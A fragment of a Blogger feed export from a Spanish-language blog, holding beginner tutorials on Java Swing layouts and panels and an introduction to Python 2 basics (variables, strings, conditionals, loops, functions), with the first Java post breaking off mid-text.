&lt;p&gt;Y como un Panel es un como un contendor, le podemos asignar un Layout.&lt;/p&gt;

&lt;p&gt;Al &lt;strong&gt;PanelUno&lt;/strong&gt; le vamos a poner un &lt;strong&gt;GridLayout&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;GridLayout grid = new GridLayout(2,2);
setLayout(grid);&lt;/pre&gt;

Al [B]PanelDos[/B] le vamos a poner un [B]FlowLayout[/B].

&lt;pre&gt;FlowLayout flow = new FlowLayout();
setLayout(flow);&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Para terminar la demostracion le agregamos unos componentes para ver la diferenciacion.&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;JLabel label1 = new JLabel(&quot;Label1&quot;);
JLabel label2 = new JLabel(&quot;Label2&quot;);
JButton button1 = new JButton(&quot;Button1&quot;);
JButton button2 = new JButton(&quot;Button2&quot;);
  
add(label1);
add(label2);
add(button1);
add(button2);&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Quedandonos:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://i.imgur.com/iSQt0.png&quot; alt=&quot;iSQt0.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Como podran ver la organizacion de los componentes es distintas gracias a poder ponerle un layout distinto a cada panel.&lt;/p&gt;

&lt;p&gt;:) Bueno espero que les sirva.&lt;/p&gt;

&lt;p&gt;Saludos&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://oversec-blog.blogspot.com/feeds/6725065529677572784/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://oversec-blog.blogspot.com/2012/09/interfaz-grafica-en-java-segunda-parte.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/6725065529677572784'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/6725065529677572784'/><link rel='alternate' type='text/html' href='http://oversec-blog.blogspot.com/2012/09/interfaz-grafica-en-java-segunda-parte.html' title='Interfaz Grafica en Java [Segunda parte]'/><author><name>Anonymous</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/blank.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5049397840722246187.post-8333172533019875161</id><published>2012-09-23T14:12:00.000-07:00</published><updated>2012-09-23T14:12:31.169-07:00</updated><title type='text'>Tutorial de Introduccion a Python</title><content type='html'>&lt;br /&gt;
&lt;br /&gt;
&lt;p&gt;&lt;img src=&quot;http://upload.wikimedia.org/wikipedia/commons/thumb/0/06/Python_logo.svg/300px-Python_logo.svg.png&quot; alt=&quot;300px-Python_logo.svg.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Python es un lenguaje de programación de alto nivel cuya filosofía hace hincapié en una sintaxis muy limpia y que favorezca un código legible.&lt;/p&gt;

&lt;p&gt;Se trata de un lenguaje de programación multiparadigma ya que soporta orientación a objetos, programación imperativa y, en menor medida, programación funcional. Es un lenguaje interpretado, usa tipado dinámico, es fuertemente tipado y multiplataforma.&lt;/p&gt;

&lt;p&gt;Bueno Empecemos, y lo vamos a hacer de la forma tipica, enseñando el primer programa en Python :)&lt;/p&gt;

&lt;p&gt;El clasico Hola Mundo ;)&lt;/p&gt;

&lt;p&gt;Abran algun editor de texto y copien el siguiente codigo:&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;#!/usr/bin/python
print “Hola Mundo”
raw_input()&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;La primer linea es utilizada en &lt;strong&gt;UNIX&lt;/strong&gt;, y sirve para especificarle al sistema operativo cual va a ser el interprete, especificado despues de &lt;strong&gt;#!&lt;/strong&gt;.&lt;br /&gt;
La segunda linea lo que hace es imprimir lo que esta entre comillas en pantalla.&lt;br /&gt;
Y la seguira mostrando hasta que se presione una tecla, Debido a &lt;strong&gt;raw_input()&lt;/strong&gt;, que espera una tecla por teclado.&lt;/p&gt;

&lt;p&gt;Guardamos con extension &lt;strong&gt;.py&lt;/strong&gt;.&lt;br /&gt;
Abrimos una terminal y ponemos: python Nombre_Programa.py&lt;/p&gt;

&lt;p&gt;Y nos saldra algo asi:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://i.imgur.com/5MVz8.png&quot; alt=&quot;35QQk.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;color: &quot;blue&quot;;&quot;&gt;Invocando al interprete de Python&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Para descargar e instalar puedes ingresar a &lt;a href=&quot;http://www.python.org/download/&quot;&gt;http://www.python.org/download/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Si trabajamos con una maquina con alguna distribucion de &lt;strong&gt;Linux&lt;/strong&gt;, abrimos una termina e ingresamos el comando:&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;Python&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Luego de unos segundo nos va a aparecer un mensaje de bienvenida reportando su numero de version y una nota de copyright. Seguido del prompt primario (&gt;&gt;&gt;), que nos indica que el interprete esta esperando codigo del usuario.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://i.imgur.com/1uBFO.png&quot; alt=&quot;psWHD.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Para salir podemos escribir &lt;strong&gt;exit()&lt;/strong&gt; o apretar &lt;strong&gt;Control + D&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;color: &quot;blue&quot;;&quot;&gt;Modo Interactivo&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Existen dos formas de ejecutar código Python. Podemos escribir líneas de código en el intérprete y obtener una respuesta del intérprete para cada línea (sesión interactiva) o bien podemos escribir el código de un programa en un archivo de texto y ejecutarlo.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;color: &quot;blue&quot;;&quot;&gt;Codificacion del codigo fuente&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Es posible utilizar una codificacion distinta a ASCII en el codigo fuente de Pyrhon, la mejor forma de hacerlo es poner un comentario especial enseguida despues de la linea con &lt;strong&gt;#!&lt;/strong&gt; para definir la codificacion:&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;# -*- coding: enconding -*-&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Con esa declaracion, todos los caracteres en el archivo serasn traducidos utilizando la codificacion &lt;strong&gt;encoding&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;color: &quot;blue&quot;;&quot;&gt;Comentarios&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Los comentarios comienzan con el caracter numeral, &lt;strong&gt;#&lt;/strong&gt;, y se extiende hasta el final fisico de la linea.&lt;br /&gt;
Ejemplos:&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;# Comentario numero uno
SPAM = 1                        # Comentario numero dos
                     # Comentario numero tres&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;color: &quot;blue&quot;;&quot;&gt;Algunas notas finales&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;La agrupacion de instrucciones se hace por sangria en vez de llaves de apretura y cierre.&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;#! /usr/bin/env python
# -*- coding: utf-8 -*-

n = int(raw_input(&quot;¿Valor tope da serie? &quot;))
print &quot; Serie de Fibonacci &quot;

a, b = 0, 1

while b &lt;= n:
    print b
    a, b = b, a + b&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Aqui tenemos un simple programa en donde se implementa la Serie de Fibonacci, donde podemos ver la agrupacion por sangria.&lt;/p&gt;

&lt;p&gt;No es necesario declarar variables ni argumentos.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;color: &quot;blue&quot;;&quot;&gt;Variables&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Como ya dijimos en la segunda parte, las variables no son necesario que se declaren pero lo que si hay que hacer es asignarle un valor inicial, sino dara error.&lt;/p&gt;

&lt;p&gt;Para asignarle un valor se utiliza el signo &lt;strong&gt;=&lt;/strong&gt;&lt;br /&gt;
La operacion se puede hacer individualmente, hacerla en conjunto a un mismo valor o hacer varias asignaciones al mismo tiempo pero a diferentes valores.&lt;br /&gt;
Veamos unos ejemplos:&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;#Asignacion individual de un numero
i = 10

#Asignacion individual de una cadena de caracteres
nombre = &quot;Expermicid&quot;

#Asignacion conjunta a un mismo valor
a = b = c = 200

#Asignacion conjunta a diferentes valores
x, z = 25, 30
&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Existe varios tipos de variables, entre ellas estan:&lt;/p&gt;

&lt;p&gt;&lt;ul&gt;&lt;li&gt;Numeros&lt;br /&gt;
&lt;li&gt;Cadenas de Caracteres&lt;br /&gt;
&lt;li&gt;Booleanos&lt;br /&gt;
&lt;li&gt;Listas&lt;/ul&gt;&lt;/p&gt;

&lt;p&gt;Para averiguar el tipo de una variable se puede usar el comando:&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;type(nombre_variable)&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Ahora vamos a ver cada tipo por separado.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;[+] &lt;span style=&quot;text-decoration: underline;&quot;&gt;Variable numerica&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Las variables numericas soportan &lt;strong&gt;Enteros&lt;/strong&gt;, &lt;strong&gt;Reales&lt;/strong&gt; y &lt;strong&gt;Complejos&lt;/strong&gt;.&lt;br /&gt;
Los &lt;strong&gt;Enteros&lt;/strong&gt; son aquellos numeros que no poseen decimales. En Python se pueden representar mediante el tipo &lt;strong&gt;Int&lt;/strong&gt; y mediante el tipo &lt;strong&gt;Long&lt;/strong&gt;. La unica diferencia es que uno de ellos (Long) puede almacenar numeros mas grande.&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;#Asignacion de un tipo &#39;Int&#39;
Entero = 20

#Asignacion de un tipo &#39;Long&#39;
Entero = 53L&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Como veran para asignar un tipo Long, hay que agregarle una &lt;strong&gt;L&lt;/strong&gt; al final del numero. Veamoslo en una imagen:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://i.imgur.com/A0xxN.png&quot; alt=&quot;aqXOS.jpg&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Tambien es posible representar los valores en &lt;strong&gt;Octal&lt;/strong&gt;, poniendole un cero adelante.&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;#Asignacion de un numero en Octal
o = 040
&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;... y en Hexa de la siguiente forma:&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;#Asignacion de un numero en Hexadecimal
h = 0x10
&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Los numeros &lt;strong&gt;Reales&lt;/strong&gt; son los que tienen decimales. En Python se representan mediante el tipo &lt;strong&gt;Float&lt;/strong&gt;&lt;br /&gt;
La forma de hacerlo es la siguiente:&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;#Asignaciones de numeros de tipo Float

a = 0.24

b = 75.58&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Tambien es posible utilizar notacion cientifica, añadiendole una &lt;strong&gt;e&lt;/strong&gt; (de exponencial) mas un numero correspondiente al exponente.&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;#Asignacion de numeros con notacion cientifica

a = 2e10

b = 3e-2&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Y por ultimo, los numeros &lt;strong&gt;Complejos&lt;/strong&gt; son aquellos que poseen una parte real y otra imaginaria.&lt;/p&gt;

&lt;p&gt;En Python se representa asi:&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;#Asignacion de un numero complejo
c = 2 + 3j&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Operaciones aritmeticas entre las variables numericas&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Veamos ejemplos de las operaciones aritmeticas:&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;#Suma
a = 5 + 20

#Resta
b = 30 - 10

#Multiplicacion
c = 20 * 2

#Division
d = 9 / 3

#Division Entera
de = 8 // 3

#Exponente
e = 2 ** 2

#Modulo
m = 7 % 2&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Notar que esas operaciones se pueden realizar entre todos los tipos antes mencionados.&lt;br /&gt;
Y tambien se pueden hacer operaciones entre varables mismas.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://i.imgur.com/3vw4u.png&quot; alt=&quot;6zaBh.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;[+] &lt;span style=&quot;text-decoration: underline;&quot;&gt;Cadenas de Caracteres&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Las cadenas de caracteres pueden estar encerradas entre comiilas dobles (&quot;) o comillas simples (&#39;).&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;#Asignacion de cadenas

a = &quot;Primera&quot;

b = &#39;Segunda&#39;&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Una cadena puede estar precedida por una por una &lt;strong&gt;u&lt;/strong&gt; o por una &lt;strong&gt;r&lt;/strong&gt;, que significan, respectivamente, que se trata de una cadena en codificacion Unicode o una cadena cruda.&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;unicode = u”äóè”
raw = r”\n”&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Dentro de las Comillas pueden existir caracteres epeciales:&lt;/p&gt;

&lt;p&gt;\n = Salto de linea&lt;br /&gt;
\t = tabulador&lt;br /&gt;
\\ = \&lt;br /&gt;
\&quot; = &quot;&lt;br /&gt;
\&#39; = &#39;&lt;/p&gt;

&lt;p&gt;O podemos utilizar 3 comillas (simples o dobles) y podemos escribir el texto en varias lineas, respetandose los saltos de linea y demas.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://i.imgur.com/o0UDa.png&quot; alt=&quot;reJ64.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Algunas operaciones entre cadenas&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;#Concatenacion
a = &quot;Primera&quot;
b = &quot;Segunda&quot;
concat = a + b    #nos devolvera la concatenacion de a y b

#Contencion
a = &quot;Palabra&quot;
b = &quot;ala&quot;
contencion = b in a  #nos devolvera un valor booleano

#Longitud
a = &quot;cantidad&quot;
log = len(a)   #nos devolvera un valor numerico = a la longitud de a

#Repeticion de una cadena
a = &quot;Hola&quot;
b = a * 3    #nos devolvera la cadena a repetida 3 veces

#Subcadenas
a = &quot;Cadena Grande&quot;
b = a [1:3]    #nos devolvera subcadena en este caso ad&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;[+] &lt;span style=&quot;text-decoration: underline;&quot;&gt;Variable booleanas&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Como todos sabran los booleanos son los valores &lt;strong&gt;True&lt;/strong&gt; y &lt;strong&gt;False&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Y sus operadores mas usuales son:&lt;/p&gt;

&lt;p&gt;and = conjuncion&lt;br /&gt;
or = disjuncion&lt;br /&gt;
not = negacion&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;[+] &lt;span style=&quot;text-decoration: underline;&quot;&gt;Listas&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Las listas son listas donde se pueden almacenar valores de cualquier tipo. Se accede a un elemento de ella de la misma forma que en las cadenas.&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;lista[inicio : fin]

lista[posicion]&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Una forma sencilla de constriur una lista de numeros es con &lt;strong&gt;range&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Que funciona de la siguiente forma:&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;a = range(1,10)    # a se formaria con la lista [1, 2, 3, 4, 5, 6, 7, 8, 9]&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;color: &quot;blue&quot;;&quot;&gt;Control de Flujo&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;color: &quot;blue&quot;;&quot;&gt;Sentencias condicionales&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;[+] If&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;La forma mas simple de un condicional es la sentencia &lt;strong&gt;if&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Veamos un ejemplo:&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;#Sintaxis de la sentencia IF
Numero = 10

if Numero &gt; 0 :
      print &quot;El numero es positivo&quot;

if Numero &lt; 0 :
      print &quot;El numero es negativo&quot;&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Bueno, use dos if por separado.&lt;br /&gt;
La sintaxis de muy simple.&lt;/p&gt;

&lt;p&gt;Se pone la palabra &lt;strong&gt;If&lt;/strong&gt;, seguido de la condicion a evaluar y por ultimo dos puntos (&lt;strong&gt;:&lt;/strong&gt;).&lt;br /&gt;
Y a partir de esa linea usando sangria van las lineas que se tienen que ejecutar si la condicion es valida.&lt;/p&gt;

&lt;p&gt;Nunca se olviden de la &lt;strong&gt;sangria&lt;/strong&gt;. Sino Python interpretara otra cosa.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;[+] If ... Else&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Esta opcion se usa para sintetizar un poco casos como el ejemplo anterior.&lt;br /&gt;
Que si se cumple la condicion hace algo y si no se cumple hace otra cosa.&lt;br /&gt;
Y traduciriamos esos dos if con uno solo, veamoslo:&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;#Sintaxis de la sentencia IF ... ELSE
Numero = 10

if Numero &gt; 0 :
      print &quot;El numero es positivo&quot;
else :
      print &quot;El numero es negativo&quot;&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;[+] If ... elif ... elif ... else&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Bien esta es otra variante.&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;#Sintaxis de la sentencia IF ... ELIF ... ELIF ... ELSE
Numero = 10

if Numero &gt; 0 :
      print &quot;El numero es positivo&quot;
elif Numero &lt; 0:
      print &quot;El numero es negativo&quot;
else :
      print &quot;El numero es 0&quot;&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;En este caso primero se evalua la condicion del &lt;strong&gt;if&lt;/strong&gt;, si es cierta se ejecuta su codigo y sale; si no se cumpla se evalua la condicion del &lt;strong&gt;elif&lt;/strong&gt; siguiente, y nuevamente si es cierto se ejecuta su codigo y sale; y si no sigue con lo siguientes &lt;strong&gt;elif&lt;/strong&gt;. Cuando se hayan evaluado todos los elif y ninguno haya sido cierto se evalua la condicion del &lt;strong&gt;else&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;[+] A if C else B&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Esta es otra variante, y lo que hace es evaluar &lt;strong&gt;C&lt;/strong&gt;, si se cumple devuelve &lt;strong&gt;A&lt;/strong&gt;, en caso contrario devuelve &lt;strong&gt;B&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;# Sintaxis de la sentencia A if C else B
var = “par” if (num % 2 == 0) else “impar”&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;color: &quot;blue&quot;;&quot;&gt;Bucles&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Mientras que los condicionales nos permiten ejecutar distintos fragmentos de código dependiendo de ciertas condiciones, los bucles nos permiten ejecutar un mismo fragmento de código un cierto número de veces, mientras se cumpla una determinada condición.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;[+] While&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;La sentencia &lt;strong&gt;While&lt;/strong&gt; ejecuta su codigo mientras se cumpla la condicion.&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;#Sintaxis sentencia While
Cont = 0
while Cont &lt; 10 :
        Print &quot;Cont es igual a &quot; + str(Cont)
        Cont = Cont + 1&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Veamos el resultado de este ultimo en la consola:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://i.imgur.com/37kSL.png&quot; alt=&quot;yJ9kS.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Como se ve en la imagen el ciclo se siguio ejecutando hasta que la variable &lt;strong&gt;Cont&lt;/strong&gt; supero el numero &lt;strong&gt;9&lt;/strong&gt;, es decir cuando llego a &lt;strong&gt;10&lt;/strong&gt; la condicion ya no fue cierto y por ende no se ejecuto mas.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;[+] For ... In&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;En Python &lt;strong&gt;for&lt;/strong&gt; se utiliza como una forma genérica de iterar sobre una secuencia.&lt;/p&gt;

&lt;p&gt;Un ejemplo basico seria:&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;#Sintaxis sentencia for ... in
valores = [&quot;uno&quot;, &quot;dos&quot;, &quot;tres&quot;, &quot;cuatro&quot;, &quot;cinco&quot;]
for elemento in valores :
        print elemento&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://i.imgur.com/2QkFv.png&quot; alt=&quot;bqNJY.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Como se aprecia en la imagen veran que la varible &lt;strong&gt;elemento&lt;/strong&gt; fue &#39;iterando&#39; sobre los valores de la lista &lt;strong&gt;valores&lt;/strong&gt; y ejecuta el codigo correspondiente.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;color: &quot;blue&quot;;&quot;&gt;Funciones&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Definicion:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Quote:&lt;br /&gt;&lt;blockquote&gt;Una función es un fragmento de código con un nombre asociado que realiza una serie de tareas y devuelve un valor. A los fragmentos de código que tienen un nombre asociado y no devuelven valores se les suele llamar procedimientos. En Python no existen los procedimientos, ya que cuando el programador no especifica un valor de retorno la función devuelve el valor None (nada)&lt;/blockquote&gt;&lt;/p&gt;

&lt;p&gt;Dos ventajas de la utilizacion de funciones son:&lt;/p&gt;

&lt;p&gt;1- Ayudan a programar y depurar el programa dividiendolo en partes.&lt;br /&gt;
2- Permite la reutilizacion de codigo.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Declaracion:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;En python las funcion se declaran de la siguiente forma:&lt;/p&gt;

&lt;p&gt;&lt;pre&gt;def NombreFuncion(param1, param2, ...., paramN)
        #Codigo a ejecutar&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Es decir, se utiliza la palabra reservada def, seguido del nombre de la funcion y la lista de los parametros entre parentesis separados por comas.&lt;br /&gt;
Las sentencias que forman el cuerpo de la funcion empiezan en la linea siguiente, y deben estar con sangria.&lt;/p&gt;

&lt;p&gt;La primer sentencia del cuerpo de la funcion puede ser opcionalmente na cadena de texto literal; esta es la cadena de texto de documentacion de la funcion, o docstring.&lt;/p&gt;

&lt;p&gt;Veamos un simple ejemplo:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://i.imgur.com/MYwc4.png&quot; alt=&quot;XcNMj.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;En la imagen podemos apreciar la definicion de una funcion que genera una lista con la lista de Fibonacci hasta un cierto valor pasado como parametro.&lt;br /&gt;
Las funciones para devolver el resultado se utiliza la palabra reservada return, seguido de el valor o la variable que contiene el valor a devolver.&lt;/p&gt;

&lt;p&gt;El numero de valores que se pasan como parametros al llamar a la funcion tiene que coincidir con el numero de parametros que la funcion acepta segun la declaracion de la funcion. En caso contrario python dara error.&lt;/p&gt;

&lt;p&gt;Y esto es todo.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Saludos&lt;/strong&gt;&lt;/p&gt;
</content><link rel='replies' type='application/atom+xml' href='http://oversec-blog.blogspot.com/feeds/8333172533019875161/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://oversec-blog.blogspot.com/2012/09/tutorial-de-introduccion-python.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/8333172533019875161'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/8333172533019875161'/><link rel='alternate' type='text/html' href='http://oversec-blog.blogspot.com/2012/09/tutorial-de-introduccion-python.html' title='Tutorial de Introduccion a Python'/><author><name>Anonymous</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/blank.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5049397840722246187.post-4941973867414703062</id><published>2012-09-17T21:08:00.000-07:00</published><updated>2012-09-17T21:08:01.456-07:00</updated><title type='text'>Interfaz Grafica en Java [Primera parte]</title><content type='html'>&lt;br /&gt;
Hola a todos. Debido a que tengo que aprenderme java para la facultad, pero aprenderlo por mi parte para rendir una equivalencia y no en el trasncurso de algun cuatrimestre. Empece hace unos dias a leer un libro de java desde cero.&lt;br /&gt;
&lt;br /&gt;
Pero vine a compartirles con ustedes en una o dos partes de Interfaz Grafica. Dependiendo de que tan largo se haga xD&lt;br /&gt;
&lt;h2&gt;
&lt;b&gt;&lt;span style=&quot;color: blue;&quot;&gt;Introduccion&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
En java, los programas basados en GUI se implementan con el uso de las clases provenientes de los paquetes estándar javax.swing y java.awt.&lt;br /&gt;
Generalmente se prefiere utilizar las clases Swing por ser de peso ligero sobre las clases AWT.&lt;br /&gt;
&lt;h2&gt;
&lt;b&gt;&lt;span style=&quot;color: blue;&quot;&gt;Ventanas&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
Yo voy a hacer uso de Eclipse para hacer los ejemplos. Ustedes pueden usar el que mejor les parezca.&lt;br /&gt;
&lt;br /&gt;
Para crear la ventana vamos a usar una clase que llamaremos Windows que herede de JFrame. Pero para ello vamos a necesitar importar los modulos de Swing.&lt;br /&gt;
&lt;br /&gt;
import javax.swing.*; &amp;nbsp;// importamos los modulos de Swing&lt;br /&gt;
&lt;br /&gt;
public class Windows extends JFrame { &amp;nbsp;// creamos una clase que hereda de JFrame&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
Dentro de esta clase vamos a utilizar un contructor para configurar las caracteristicas que uno quiera. Yo voy a poner las mas comunes.&lt;br /&gt;
&lt;br /&gt;
Windows() { &amp;nbsp;// constructor&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; setTitle(&quot;Ventana Nueva&quot;); &amp;nbsp;// titulo de la ventana&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;setSize(300, 200); &amp;nbsp;// tamaño &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;setLocation(500, 500); &amp;nbsp;// ubicacion&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; setVisible(true); // visibilidad, por defecto viene False, por ende necesitamos cambiarlo a true&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); &amp;nbsp;// terminamos la aplicacion al cerrar la ventana&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
Ya tenemos creada la ventana a gusto. Ahora en el metodo Main vamos a instanciar un objeto de la clase recien creada, al cual llamamos [B]vent[/B].&lt;br /&gt;
&lt;br /&gt;
public static void main( String[] args) {&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Windows vent = new Windows();&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
Ejecutamos y ...&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
